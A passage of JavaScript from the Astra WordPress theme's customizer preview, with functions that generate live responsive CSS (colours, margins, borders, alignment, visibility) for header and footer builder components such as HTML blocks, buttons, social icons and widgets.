/**
 * HTML Component CSS.
 *
 * @param string builder_type Builder Type.
 * @param string html_count HTML Count.
 *
 */
function astra_builder_html_css( builder_type = 'header', html_count ) {

    for ( var index = 1; index <= html_count; index++ ) {

		let selector = ( 'header' === builder_type ) ? '.ast-header-html-' + index : '.footer-widget-area[data-section="section-fb-html-' + index + '"]';

		let section = ( 'header' === builder_type ) ? 'section-hb-html-' + index : 'section-fb-html-' + index;

		var tablet_break_point    = astraBuilderPreview.tablet_break_point || 768,
			mobile_break_point    = astraBuilderPreview.mobile_break_point || 544;

        // HTML color.
        astra_color_responsive_css(
			builder_type + '-html-' + index + '-color',
            'astra-settings[' + builder_type + '-html-' + index + 'color]',
            'color',
            selector + ' .ast-builder-html-element'
		);

		// Link color.
        astra_color_responsive_css(
			builder_type + '-html-' + index + '-l-color',
            'astra-settings[' + builder_type + '-html-' + index + 'link-color]',
            'color',
            selector + ' .ast-builder-html-element a'
		);

		// Link Hover color.
        astra_color_responsive_css(
			builder_type + '-html-' + index + '-l-h-color',
            'astra-settings[' + builder_type + '-html-' + index + 'link-h-color]',
            'color',
            selector + ' .ast-builder-html-element a:hover'
		);

		// Advanced Visibility CSS Generation.
		astra_builder_visibility_css( section, selector, 'block' );

        // Margin.
		wp.customize( 'astra-settings[' + section + '-margin]', function( value ) {
			value.bind( function( margin ) {
				if(
					margin.desktop.bottom != '' || margin.desktop.top != '' || margin.desktop.left != '' || margin.desktop.right != '' ||
					margin.tablet.bottom != '' || margin.tablet.top != '' || margin.tablet.left != '' || margin.tablet.right != '' ||
					margin.mobile.bottom != '' || margin.mobile.top != '' || margin.mobile.left != '' || margin.mobile.right != ''
				) {
					var dynamicStyle = '';
					dynamicStyle += selector + ' {';
					dynamicStyle += 'margin-left: ' + margin['desktop']['left'] + margin['desktop-unit'] + ';';
					dynamicStyle += 'margin-right: ' + margin['desktop']['right'] + margin['desktop-unit'] + ';';
					dynamicStyle += 'margin-top: ' + margin['desktop']['top'] + margin['desktop-unit'] + ';';
					dynamicStyle += 'margin-bottom: ' + margin['desktop']['bottom'] + margin['desktop-unit'] + ';';
					dynamicStyle += '} ';

					dynamicStyle +=  '@media (max-width: ' + tablet_break_point + 'px) {';
					dynamicStyle += selector + ' {';
					dynamicStyle += 'margin-left: ' + margin['tablet']['left'] + margin['tablet-unit'] + ';';
					dynamicStyle += 'margin-right: ' + margin['tablet']['right'] + margin['tablet-unit'] + ';';
					dynamicStyle += 'margin-top: ' + margin['tablet']['top'] + margin['desktop-unit'] + ';';
					dynamicStyle += 'margin-bottom: ' + margin['tablet']['bottom'] + margin['desktop-unit'] + ';';
					dynamicStyle += '} ';
					dynamicStyle += '} ';

					dynamicStyle +=  '@media (max-width: ' + mobile_break_point + 'px) {';
					dynamicStyle += selector + ' {';
					dynamicStyle += 'margin-left: ' + margin['mobile']['left'] + margin['mobile-unit'] + ';';
					dynamicStyle += 'margin-right: ' + margin['mobile']['right'] + margin['mobile-unit'] + ';';
					dynamicStyle += 'margin-top: ' + margin['mobile']['top'] + margin['desktop-unit'] + ';';
					dynamicStyle += 'margin-bottom: ' + margin['mobile']['bottom'] + margin['desktop-unit'] + ';';
					dynamicStyle += '} ';
					dynamicStyle += '} ';
					astra_add_dynamic_css( section + '-margin-toggle-button', dynamicStyle );
				}
			} );
		} );

		// Typography CSS Generation.
		astra_responsive_font_size(
			'astra-settings[font-size-' + section + ']',
			selector + ' .ast-builder-html-element'
		);
    }
}

/**
 * Button Component CSS.
 *
 * @param string builder_type Builder Type.
 * @param string button_count Button Count.
 *
 */
function astra_builder_button_css( builder_type = 'header', button_count ) {

	var tablet_break_point    = astraBuilderPreview.tablet_break_point || 768,
		mobile_break_point    = astraBuilderPreview.mobile_break_point || 544;

	for ( var index = 1; index <= button_count; index++ ) {

		var section = ( 'header' === builder_type ) ? 'section-hb-button-' + index : 'section-fb-button-' + index;
		var context = ( 'header' === builder_type ) ? 'hb' : 'fb';
		var prefix = 'button' + index;
		var selector = '.ast-' + builder_type + '-button-' + index + ' .ast-builder-button-wrap';
		var button_selector = '.ast-' + builder_type + '-button-' + index + '[data-section*="section-' + context + '-button-"] .ast-builder-button-wrap';

		astra_css( 'flex', 'display', '.ast-' + builder_type + '-button-' + index + '[data-section="' + section + '"]' );

		// Button Text Color.
		astra_color_responsive_css(
			context + '-button-color',
			'astra-settings[' + builder_type + '-' + prefix + '-text-color]',
			'color',
			selector + ' .ast-custom-button'
		);
		astra_color_responsive_css(
			context + '-button-color-h',
			'astra-settings[' + builder_type + '-' + prefix + '-text-h-color]',
			'color',
			selector + ':hover .ast-custom-button'
		);

		// Button Background Color.
		astra_color_responsive_css(
			context + '-button-bg-color',
			'astra-settings[' + builder_type + '-' + prefix + '-back-color]',
			'background-color',
			selector + ' .ast-custom-button'
		);
		astra_color_responsive_css(
			context + '-button-bg-color-h',
			'astra-settings[' + builder_type + '-' + prefix + '-back-h-color]',
			'background-color',
			selector + ':hover .ast-custom-button'
		);

		// Button Typography.
		astra_responsive_font_size(
			'astra-settings[' + builder_type + '-' + prefix + '-font-size]',
			button_selector + ' .ast-custom-button'
		);
		astra_generate_outside_font_family_css(
			'astra-settings[' + builder_type + '-' + prefix + '-font-family]',
			button_selector + ' .ast-custom-button'
		);
		astra_generate_font_weight_css(
			'astra-settings[' + builder_type + '-' + prefix + '-font-family]',
			'astra-settings[' + builder_type + '-' + prefix + '-font-weight]',
			'font-weight',
			button_selector + ' .ast-custom-button'
		);

		astra_font_extras_css( builder_type + '-' + prefix + '-font-extras', button_selector + ' .ast-custom-button' );

		// Border Color.
		astra_color_responsive_css(
			context + '-button-border-color',
			'astra-settings[' + builder_type + '-' + prefix + '-border-color]',
			'border-color',
			selector + ' .ast-custom-button'
		);
		astra_color_responsive_css(
			context + '-button-border-color-h',
			'astra-settings[' + builder_type + '-' + prefix + '-border-h-color]',
			'border-color',
			selector + ' .ast-custom-button:hover'
		);

		// Advanced CSS Generation.
		astra_builder_advanced_css( section, button_selector + ' .ast-custom-button' );

		// Advanced Visibility CSS Generation.
		astra_builder_visibility_css( section, selector, 'block' );

		(function (index) {
			// Builder Type Border Radius Fields
			wp.customize('astra-settings[' + builder_type + '-button' + index + '-border-radius-fields]', function (setting) {
				setting.bind(function (border) {
					let globalSelector = '.ast-' + builder_type + '-button-'+ index +' .ast-custom-button';
					let dynamicStyle = globalSelector + '{ border-top-left-radius :' + border['desktop']['top'] + border['desktop-unit']
							+ '; border-bottom-right-radius :' + border['desktop']['bottom'] + border['desktop-unit'] + '; border-bottom-left-radius :'
							+ border['desktop']['left'] + border['desktop-unit'] + '; border-top-right-radius :' + border['desktop']['right'] + border['desktop-unit'] + '; } ';

					dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) { ' + globalSelector + '{ border-top-left-radius :' + border['tablet']['top'] + border['tablet-unit']
							+ '; border-bottom-right-radius :' + border['tablet']['bottom'] + border['tablet-unit'] + '; border-bottom-left-radius :'
							+ border['tablet']['left'] + border['tablet-unit'] + '; border-top-right-radius :' + border['tablet']['right'] + border['tablet-unit'] + '; } } ';

					dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) { ' + globalSelector + '{ border-top-left-radius :' + border['mobile']['top'] + border['mobile-unit']
							+ '; border-bottom-right-radius :' + border['mobile']['bottom'] + border['mobile-unit'] + '; border-bottom-left-radius :'
							+ border['mobile']['left'] + border['mobile-unit'] + '; border-top-right-radius :' + border['mobile']['right'] + border['mobile-unit'] + '; } } ';

					astra_add_dynamic_css( 'astra-settings[' + builder_type + '-button' + index + '-border-radius-fields]', dynamicStyle);
				});
			});
			wp.customize( 'astra-settings[' + builder_type + '-button'+ index +'-border-size]', function( setting ) {
				setting.bind( function( border ) {
					var dynamicStyle = '.ast-' + builder_type + '-button-'+ index +' .ast-custom-button {';
					dynamicStyle += 'border-top-width:'  + border.top + 'px;';
					dynamicStyle += 'border-right-width:'  + border.right + 'px;';
					dynamicStyle += 'border-left-width:'   + border.left + 'px;';
					dynamicStyle += 'border-bottom-width:'   + border.bottom + 'px;';
					dynamicStyle += '} ';
					astra_add_dynamic_css( 'astra-settings[' + builder_type + '-button'+ index +'-border-size]', dynamicStyle );
				} );
			} );

			if( 'footer' == builder_type ) {
				wp.customize( 'astra-settings[footer-button-'+ index +'-alignment]', function( value ) {
					value.bind( function( alignment ) {

						if( alignment.desktop != '' || alignment.tablet != '' || alignment.mobile != '' ) {
							var dynamicStyle = '';
							dynamicStyle += '.ast-footer-button-'+ index +'[data-section="section-fb-button-'+ index +'"] {';
							dynamicStyle += 'justify-content: ' + alignment['desktop'] + ';';
							dynamicStyle += '} ';

							dynamicStyle +=  '@media (max-width: ' + tablet_break_point + 'px) {';
							dynamicStyle += '.ast-footer-button-'+ index +'[data-section="section-fb-button-'+ index +'"] {';
							dynamicStyle += 'justify-content: ' + alignment['tablet'] + ';';
							dynamicStyle += '} ';
							dynamicStyle += '} ';

							dynamicStyle +=  '@media (max-width: ' + mobile_break_point + 'px) {';
							dynamicStyle += '.ast-footer-button-'+ index +'[data-section="section-fb-button-'+ index +'"] {';
							dynamicStyle += 'justify-content: ' + alignment['mobile'] + ';';
							dynamicStyle += '} ';
							dynamicStyle += '} ';

							astra_add_dynamic_css( 'footer-button-'+ index +'-alignment', dynamicStyle );
						}
					} );
				} );
			}
		})(index);
	}
}

/**
 * Social Component CSS.
 *
 * @param string builder_type Builder Type.
 * @param string section Section.
 *
 */
function astra_builder_social_css( builder_type = 'header', social_count ) {

	var tablet_break_point    = astraBuilderPreview.tablet_break_point || 768,
		mobile_break_point    = astraBuilderPreview.mobile_break_point || 544;

	for ( var index = 1; index <= social_count; index++ ) {

		let selector = '.ast-' + builder_type + '-social-' + index + '-wrap';
		let section = ( 'header' === builder_type ) ? 'section-hb-social-icons-' + index : 'section-fb-social-icons-' + index;
		var context = ( 'header' === builder_type ) ? 'hb' : 'fb';
		var visibility_selector = '.ast-builder-layout-element[data-section="' + section + '"]';

		// Icon Color.
		astra_color_responsive_css(
			context + '-soc-color',
			'astra-settings[' + builder_type + '-social-' + index + '-color]',
			'fill',
			selector + ' .ast-social-color-type-custom .ast-builder-social-element svg'
		);

		astra_color_responsive_css(
			context + '-soc-label-color',
			'astra-settings[' + builder_type + '-social-' + index + '-color]',
			'color',
			selector + ' .ast-social-color-type-custom .ast-builder-social-element .social-item-label'
		);

		astra_color_responsive_css(
			context + '-soc-color-h',
			'astra-settings[' + builder_type + '-social-' + index + '-h-color]',
			'color',
			selector + ' .ast-social-color-type-custom .ast-builder-social-element:hover'
		);

		astra_color_responsive_css(
			context + '-soc-label-color-h',
			'astra-settings[' + builder_type + '-social-' + index + '-h-color]',
			'color',
			selector + ' .ast-social-color-type-custom .ast-builder-social-element:hover .social-item-label'
		);

		astra_color_responsive_css(
			context + '-soc-svg-color-h',
			'astra-settings[' + builder_type + '-social-' + index + '-h-color]',
			'fill',
			selector + ' .ast-social-color-type-custom .ast-builder-social-element:hover svg'
		);

		// Icon Background Color.
		astra_color_responsive_css(
			context + '-soc-bg-color',
			'astra-settings[' + builder_type + '-social-' + index + '-bg-color]',
			'background-color',
			selector + ' .ast-social-color-type-custom .ast-builder-social-element'
		);

		astra_color_responsive_css(
			context + '-soc-bg-color-h',
			'astra-settings[' + builder_type + '-social-' + index + '-bg-h-color]',
			'background-color',
			selector + ' .ast-social-color-type-custom .ast-builder-social-element:hover'
		);

		// Icon Label Color.
		astra_color_responsive_css(
			context + '-soc-label-color',
			'astra-settings[' + builder_type + '-social-' + index + '-label-color]',
			'color',
			selector + ' .ast-social-color-type-custom .ast-builder-social-element span.social-item-label'
		);

		astra_color_responsive_css(
			context + '-soc-label-color-h',
			'astra-settings[' + builder_type + '-social-' + index + '-label-h-color]',
			'color',
			selector + ' .ast-social-color-type-custom .ast-builder-social-element:hover span.social-item-label'
		);

		// Icon Background Space.
		astra_css(
			'astra-settings[' + builder_type + '-social-' + index + '-bg-space]',
			'padding',
			selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element',
			'px'
		);

		// Icon Brand Color.
		astra_color_responsive_css(
			context + '-soc-color',
			'astra-settings[' + builder_type + '-social-' + index + '-brand-color]',
			'fill',
			selector + ' .ast-social-color-type-official svg'
		);

		astra_color_responsive_css(
			context + '-soc-label-color',
			'astra-settings[' + builder_type + '-social-' + index + '-brand-color]',
			'color',
			selector + ' .ast-social-color-type-official .social-item-label'
		);

		// Icon Label Brand Color.
		astra_color_responsive_css(
			context + '-soc-label-color',
			'astra-settings[' + builder_type + '-social-' + index + '-brand-label-color]',
			'color',
			selector + ' .ast-social-color-type-official span.social-item-label'
		);

		// Icon Border Radius Fields
		wp.customize('astra-settings[' + builder_type + '-social-' + index + '-radius-fields]', function (setting) {
			setting.bind(function (border) {

				let globalSelector = selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element';
				let dynamicStyle = globalSelector + '{ border-top-left-radius :' + border['desktop']['top'] + border['desktop-unit']
						+ '; border-bottom-right-radius :' + border['desktop']['bottom'] + border['desktop-unit'] + '; border-bottom-left-radius :'
						+ border['desktop']['left'] + border['desktop-unit'] + '; border-top-right-radius :' + border['desktop']['right'] + border['desktop-unit'] + '; } ';

				dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) { ' + globalSelector + '{ border-top-left-radius :' + border['tablet']['top'] + border['tablet-unit']
						+ '; border-bottom-right-radius :' + border['tablet']['bottom'] + border['tablet-unit'] + '; border-bottom-left-radius :'
						+ border['tablet']['left'] + border['tablet-unit'] + '; border-top-right-radius :' + border['tablet']['right'] + border['tablet-unit'] + '; } } ';

				dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) { ' + globalSelector + '{ border-top-left-radius :' + border['mobile']['top'] + border['mobile-unit']
						+ '; border-bottom-right-radius :' + border['mobile']['bottom'] + border['mobile-unit'] + '; border-bottom-left-radius :'
						+ border['mobile']['left'] + border['mobile-unit'] + '; border-top-right-radius :' + border['mobile']['right'] + border['mobile-unit'] + '; } } ';

				astra_add_dynamic_css( builder_type + '-social-' + index + '-radius-fields', dynamicStyle);
			});
		});

		// Typography CSS Generation.
		astra_responsive_font_size(
			'astra-settings[font-size-' + section + ']',
			selector
		);

		// Advanced Visibility CSS Generation.
		astra_builder_visibility_css( section, visibility_selector, 'block' );

		// Icon Spacing.
		(function( index ) {
			// Icon Size.
			wp.customize( 'astra-settings[' + builder_type + '-social-' + index + '-size]', function( value ) {
				value.bind( function( size ) {

					if( size.desktop != '' || size.tablet != '' || size.mobile != '' ) {
						var dynamicStyle = '';
						dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element svg {';
						dynamicStyle += 'height: ' + size.desktop + 'px;';
						dynamicStyle += 'width: ' + size.desktop + 'px;';
						dynamicStyle += '} ';

						dynamicStyle +=  '@media (max-width: ' + tablet_break_point + 'px) {';
						dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element svg {';
						dynamicStyle += 'height: ' + size.tablet + 'px;';
						dynamicStyle += 'width: ' + size.tablet + 'px;';
						dynamicStyle += '} ';
						dynamicStyle += '} ';

						dynamicStyle +=  '@media (max-width: ' + mobile_break_point + 'px) {';
						dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element svg {';
						dynamicStyle += 'height: ' + size.mobile + 'px;';
						dynamicStyle += 'width: ' + size.mobile + 'px;';
						dynamicStyle += '} ';
						dynamicStyle += '} ';

						astra_add_dynamic_css( builder_type + '-social-' + index + '-size', dynamicStyle );
					}
				} );
			} );


			// Icon Space.
			wp.customize( 'astra-settings[' + builder_type + '-social-' + index + '-space]', function( value ) {
				value.bind( function( spacing ) {
					var space = '';
					var dynamicStyle = '';
					if ( spacing.desktop != '' ) {
						space = spacing.desktop/2;
						dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element {';
						dynamicStyle += 'margin-left: ' + space + 'px;';
						dynamicStyle += 'margin-right: ' + space + 'px;';
						dynamicStyle += '} ';
						dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element:first-child {';
						dynamicStyle += 'margin-left: 0;';
						dynamicStyle += '} ';
						dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element:last-child {';
						dynamicStyle += 'margin-right: 0;';
						dynamicStyle += '} ';
					}

					if ( spacing.tablet != '' ) {
						space = spacing.tablet/2;
						dynamicStyle +=  '@media (max-width: ' + tablet_break_point + 'px) {';
						dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element {';
						dynamicStyle += 'margin-left: ' + space + 'px;';
						dynamicStyle += 'margin-right: ' + space + 'px;';
						dynamicStyle += '} ';
						dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element:first-child {';
						dynamicStyle += 'margin-left: 0;';
						dynamicStyle += '} ';
						dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element:last-child {';
						dynamicStyle += 'margin-right: 0;';
						dynamicStyle += '} ';
						dynamicStyle += '} ';
					}

					if ( spacing.mobile != '' ) {
						space = spacing.mobile/2;
						dynamicStyle +=  '@media (max-width: ' + mobile_break_point + 'px) {';
						dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element {';
						dynamicStyle += 'margin-left: ' + space + 'px;';
						dynamicStyle += 'margin-right: ' + space + 'px;';
						dynamicStyle += '} ';
						dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element:first-child {';
						dynamicStyle += 'margin-left: 0;';
						dynamicStyle += '} ';
						dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element:last-child {';
						dynamicStyle += 'margin-right: 0;';
						dynamicStyle += '} ';
						dynamicStyle += '} ';
					}

					astra_add_dynamic_css( builder_type + '-social-icons-icon-space', dynamicStyle );
				} );
			} );

			// Color Type - Custom/Official
			wp.customize( 'astra-settings[' + builder_type + '-social-' + index + '-color-type]', function ( value ) {
				value.bind( function ( newval ) {

					var side_class = 'ast-social-color-type-' + newval;

					jQuery('.ast-' + builder_type + '-social-' + index + '-wrap .' + builder_type + '-social-inner-wrap').removeClass( 'ast-social-color-type-custom' );
					jQuery('.ast-' + builder_type + '-social-' + index + '-wrap .' + builder_type + '-social-inner-wrap').removeClass( 'ast-social-color-type-official' );
					jQuery('.ast-' + builder_type + '-social-' + index + '-wrap .' + builder_type + '-social-inner-wrap').addClass( side_class );
				} );
			} );

			// Margin.
			wp.customize( 'astra-settings[' + section + '-margin]', function( value ) {
				value.bind( function( margin ) {
					if(
						margin.desktop.bottom != '' || margin.desktop.top != '' || margin.desktop.left != '' || margin.desktop.right != '' ||
						margin.tablet.bottom != '' || margin.tablet.top != '' || margin.tablet.left != '' || margin.tablet.right != '' ||
						margin.mobile.bottom != '' || margin.mobile.top != '' || margin.mobile.left != '' || margin.mobile.right != ''
					) {
						var dynamicStyle = '';
						dynamicStyle += selector + ' {';
						dynamicStyle += 'margin-left: ' + margin['desktop']['left'] + margin['desktop-unit'] + ';';
						dynamicStyle += 'margin-right: ' + margin['desktop']['right'] + margin['desktop-unit'] + ';';
						dynamicStyle += 'margin-top: ' + margin['desktop']['top'] + margin['desktop-unit'] + ';';
						dynamicStyle += 'margin-bottom: ' + margin['desktop']['bottom'] + margin['desktop-unit'] + ';';
						dynamicStyle += '} ';

						dynamicStyle +=  '@media (max-width: ' + tablet_break_point + 'px) {';
						dynamicStyle += selector + ' {';
						dynamicStyle += 'margin-left: ' + margin['tablet']['left'] + margin['tablet-unit'] + ';';
						dynamicStyle += 'margin-right: ' + margin['tablet']['right'] + margin['tablet-unit'] + ';';
						dynamicStyle += 'margin-top: ' + margin['tablet']['top'] + margin['desktop-unit'] + ';';
						dynamicStyle += 'margin-bottom: ' + margin['tablet']['bottom'] + margin['desktop-unit'] + ';';
						dynamicStyle += '} ';
						dynamicStyle += '} ';

						dynamicStyle +=  '@media (max-width: ' + mobile_break_point + 'px) {';
						dynamicStyle += selector + ' {';
						dynamicStyle += 'margin-left: ' + margin['mobile']['left'] + margin['mobile-unit'] + ';';
						dynamicStyle += 'margin-right: ' + margin['mobile']['right'] + margin['mobile-unit'] + ';';
						dynamicStyle += 'margin-top: ' + margin['mobile']['top'] + margin['desktop-unit'] + ';';
						dynamicStyle += 'margin-bottom: ' + margin['mobile']['bottom'] + margin['desktop-unit'] + ';';
						dynamicStyle += '} ';
						dynamicStyle += '} ';
						astra_add_dynamic_css( section + '-margin', dynamicStyle );
					}
				} );
			} );

			if ( 'footer' === builder_type ) {
				// Alignment.
				wp.customize( 'astra-settings[footer-social-' + index + '-alignment]', function( value ) {
					value.bind( function( alignment ) {
						if( alignment.desktop != '' || alignment.tablet != '' || alignment.mobile != '' ) {
							var dynamicStyle = '';
							dynamicStyle += '[data-section="section-fb-social-icons-' + index + '"] .footer-social-inner-wrap {';
							dynamicStyle += 'text-align: ' + alignment['desktop'] + ';';
							dynamicStyle += '} ';

							dynamicStyle +=  '@media (max-width: ' + tablet_break_point + 'px) {';
							dynamicStyle += '[data-section="section-fb-social-icons-' + index + '"] .footer-social-inner-wrap {';
							dynamicStyle += 'text-align: ' + alignment['tablet'] + ';';
							dynamicStyle += '} ';
							dynamicStyle += '} ';

							dynamicStyle +=  '@media (max-width: ' + mobile_break_point + 'px) {';
							dynamicStyle += '[data-section="section-fb-social-icons-' + index + '"] .footer-social-inner-wrap {';
							dynamicStyle += 'text-align: ' + alignment['mobile'] + ';';
							dynamicStyle += '} ';
							dynamicStyle += '} ';

							astra_add_dynamic_css( 'footer-social-' + index + '-alignment', dynamicStyle );
						}
					} );
				} );

			}
		})( index );
	}
}

/**
 * Widget Component CSS.
 *
 * @param string builder_type Builder Type.
 * @param string section Section.
 *
 */
function astra_builder_widget_css( builder_type = 'header' ) {

	var tablet_break_point    = AstraBuilderWidgetData.tablet_break_point || 768,
        mobile_break_point    = AstraBuilderWidgetData.mobile_break_point || 544;

	let widget_count = 'header' === builder_type ? AstraBuilderWidgetData.header_widget_count: AstraBuilderWidgetData.footer_widget_count;

	for ( var index = 1; index <= widget_count; index++ ) {

		var selector = '.' + builder_type + '-widget-area[data-section="sidebar-widgets-' + builder_type + '-widget-' + index + '"]';

		var section = AstraBuilderWidgetData.has_block_editor ? 'astra-sidebar-widgets-' + builder_type + '-widget-' + index : 'sidebar-widgets-' + builder_type + '-widget-' + index;

		// Widget Content Color.
		astra_color_responsive_css(
			builder_type + '-widget-' + index + '-color',
			'astra-settings[' + builder_type + '-widget-' + index + '-color]',
			'color',
			 ( AstraBuilderWidgetData.is_flex_based_css ) ? selector + '.' + builder_type + '-widget-area-inner' : selector + ' .' + builder_type + '-widget-area-inner'
		);

		// Widget Link Color.
		astra_color_responsive_css(
			builder_type + '-widget-' + index + '-link-color',
			'astra-settings[' + builder_type + '-widget-' + index + '-link-color]',
			'color',
			( AstraBuilderWidgetData.is_flex_based_css ) ? selector + '.' + builder_type + '-widget-area-inner a' : selector + ' .' + builder_type + '-widget-area-inner a'
		);

		// Widget Link Hover Color.
		astra_color_responsive_css(
			builder_type + '-widget-' + index + '-link-h-color',
			'astra-settings[' + builder_type + '-widget-' + index + '-link-h-color]',
			'color',
			( AstraBuilderWidgetData.is_flex_based_css ) ? selector + '.' + builder_type + '-widget-area-inner a:hover' : selector + ' .' + builder_type + '-widget-area-inner a:hover'
		);

		// Widget Title Color.
		astra_color_responsive_css(
			builder_type + '-widget-' + index + '-title-color',
			'astra-settings[' + builder_type + '-widget-' + index + '-title-color]',
			'color',
			selector + ' .widget-title, ' + selector + ' h1, ' + selector + ' .widget-area h1, ' + selector + ' h2, ' + selector + ' .widget-area h2, ' + selector + ' h3, ' + selector + ' .widget-area h3, ' + selector + ' h4, ' + selector + ' .widget-area h4, ' + selector + ' h5, ' + selector + ' .widget-area h5, ' + selector + ' h6, ' + selector + ' .widget-area h6'
		);

		// Widget Title Typography.
		astra_responsive_font_size(
			'astra-settings[' + builder_type + '-widget-' + index + '-font-size]',
			selector + ' .widget-title, ' + selector + ' h1, ' + selector + ' .widget-area h1, ' + selector + ' h2, ' + selector + ' .widget-area h2, ' + selector + ' h3, ' + selector + ' .widget-area h3, ' + selector + ' h4, ' + selector + ' .widget-area h4, ' + selector + ' h5, ' + selector + ' .widget-area h5, ' + selector + ' h6, ' + selector + ' .widget-area h6'
		);

		// Widget Content Typography.
		astra_responsive_font_size(
			'astra-settings[' + builder_type + '-widget-' + index + '-content-font-size]',
			( AstraBuilderWidgetData.is_flex_based_css ) ? selector + '.' + builder_type + '-widget-area-inner' : selector + ' .' + builder_type + '-widget-area-inner'
		);

		// Advanced Visibility CSS Generation.
		astra_builder_visibility_css( section, selector, 'block' );

		(function (index) {

			var marginControl = AstraBuilderWidgetData.has_block_editor ? 'astra-sidebar-widgets-' + builder_type + '-widget-' + index + '-margin' : 'sidebar-widgets-' + builder_type + '-widget-' + index + '-margin';

			wp.customize( 'astra-settings[' + marginControl + ']', function( value ) {
				value.bind( function( margin ) {
					var selector = '.' + builder_type + '-widget-area[data-section="sidebar-widgets-' + builder_type + '-widget-' + index + '"]';
					if(
						margin.desktop.bottom != '' || margin.desktop.top != '' || margin.desktop.left != '' || margin.desktop.right != '' ||
						margin.tablet.bottom != '' || margin.tablet.top != '' || margin.tablet.left != '' || margin.tablet.right != '' ||
						margin.mobile.bottom != '' || margin.mobile.top != '' || margin.mobile.left != '' || margin.mobile.right != ''
					) {
						var dynamicStyle = '';
						dynamicStyle += selector + ' {';
						dynamicStyle += 'margin-left: ' + margin['desktop']['left'] + margin['desktop-unit'] + ';';
						dynamicStyle += 'margin-right: ' + margin['desktop']['right'] + margin['desktop-unit'] + ';';
						dynamicStyle += 'margin-top: ' + margin['desktop']['top'] + margin['desktop-unit'] + ';';
						dynamicStyle += 'margin-bottom: ' + margin['desktop']['bottom'] + margin['desktop-unit'] + ';';
						dynamicStyle += '} ';

						dynamicStyle +=  '@media (max-width: ' + tablet_break_point + 'px) {';
						dynamicStyle += selector + ' {';
						dynamicStyle += 'margin-left: ' + margin['tablet']['left'] + margin['tablet-unit'] + ';';
						dynamicStyle += 'margin-right: ' + margin['tablet']['right'] + margin['tablet-unit'] + ';';
						dynamicStyle += 'margin-top: ' + margin['tablet']['top'] + margin['desktop-unit'] + ';';
						dynamicStyle += 'margin-bottom: ' + margin['tablet']['bottom'] + margin['desktop-unit'] + ';';
						dynamicStyle += '} ';
						dynamicStyle += '} ';

						dynamicStyle +=  '@media (max-width: ' + mobile_break_point + 'px) {';
						dynamicStyle += selector + ' {';
						dynamicStyle += 'margin-left: ' + margin['mobile']['left'] + margin['mobile-unit'] + ';';
						dynamicStyle += 'margin-right: ' + margin['mobile']['right'] + margin['mobile-unit'] + ';';
						dynamicStyle += 'margin-top: ' + margin['mobile']['top'] + margin['desktop-unit'] + ';';
						dynamicStyle += 'margin-bottom: ' + margin['mobile']['bottom'] + margin['desktop-unit'] + ';';
						dynamicStyle += '} ';
						dynamicStyle += '} ';
						astra_add_dynamic_css( 'sidebar-widgets-' + builder_type + '-widget-' + index + '-margin', dynamicStyle );
					}
				} );
			} );

			if ( 'footer' === builder_type ) {

				wp.customize( 'astra-settings[footer-widget-alignment-' + index + ']', function( value ) {
					value.bind( function( alignment ) {
						if( alignment.desktop != '' || alignment.tablet != '' || alignment.mobile != '' ) {
							var dynamicStyle = '';
							if( AstraBuilderWidgetData.is_flex_based_css ){
								dynamicStyle += '.footer-widget-area[data-section="sidebar-widgets-footer-widget-' + index + '"].footer-widget-area-inner {';
							}else{
								dynamicStyle += '.footer-widget-area[data-section="sidebar-widgets-footer-widget-' + index + '"] .footer-widget-area-inner {';
							}
							dynamicStyle += 'text-align: ' + alignment['desktop'] + ';';
							dynamicStyle += '} ';

							dynamicStyle +=  '@media (max-width: ' + tablet_break_point + 'px) {';
							if( AstraBuilderWidgetData.is_flex_based_css ){
								dynamicStyle += '.footer-widget-area[data-section="sidebar-widgets-footer-widget-' + index + '"].footer-widget-area-inner {';
							}else{
								dynamicStyle += '.footer-widget-area[data-section="sidebar-widgets-footer-widget-' + index + '"] .footer-widget-area-inner {';
							}
							dynamicStyle += 'text-align: ' + alignment['tablet'] + ';';
							dynamicStyle += '} ';
							dynamicStyle += '} ';

							dynamicStyle +=  '@media (max-width: ' + mobile_break_point + 'px) {';
							if( AstraBuilderWidgetData.is_flex_based_css ){
								dynamicStyle += '.footer-widget-area[data-section="sidebar-widgets-footer-widget-' + index + '"].footer-widget-area-inner {';
							}else{
								dynamicStyle += '.footer-widget-area[data-section="sidebar-widgets-footer-widget-' + index + '"] .footer-widget-area-inner {';
							}
							dynamicStyle += 'text-align: ' + alignment['mobile'] + ';';
							dynamicStyle += '} ';
							dynamicStyle += '} ';

							astra_add_dynamic_css( 'footer-widget-alignment-' + index, dynamicStyle );
						}
					} );
				} );

			}
		})(index);

	}

}

/**
 * Apply Visibility CSS for the element
 *
 * @param string section Section ID.
 * @param string selector Base Selector.
 * @param string default_property default CSS property.
 */
function astra_builder_visibility_css( section, selector, default_property = 'flex' ) {

    var tablet_break_point    = astraBuilderPreview.tablet_break_point || 768,
		mobile_break_point    = astraBuilderPreview.mobile_break_point || 544;

	wp.customize( 'astra-settings[' + section + '-visibility-responsive]', function( setting ) {
		setting.bind( function( visibility ) {

			let dynamicStyle = '';
			let is_desktop = ( ! visibility['desktop'] ) ? 'none' : default_property ;
			let is_tablet = ( ! visibility['tablet'] ) ? 'none' : default_property ;
			let is_mobile = ( ! visibility['mobile'] ) ? 'none' : default_property ;

			dynamicStyle += selector + ' {';
			dynamicStyle += 'display: ' + is_desktop + ';';
			dynamicStyle += '} ';

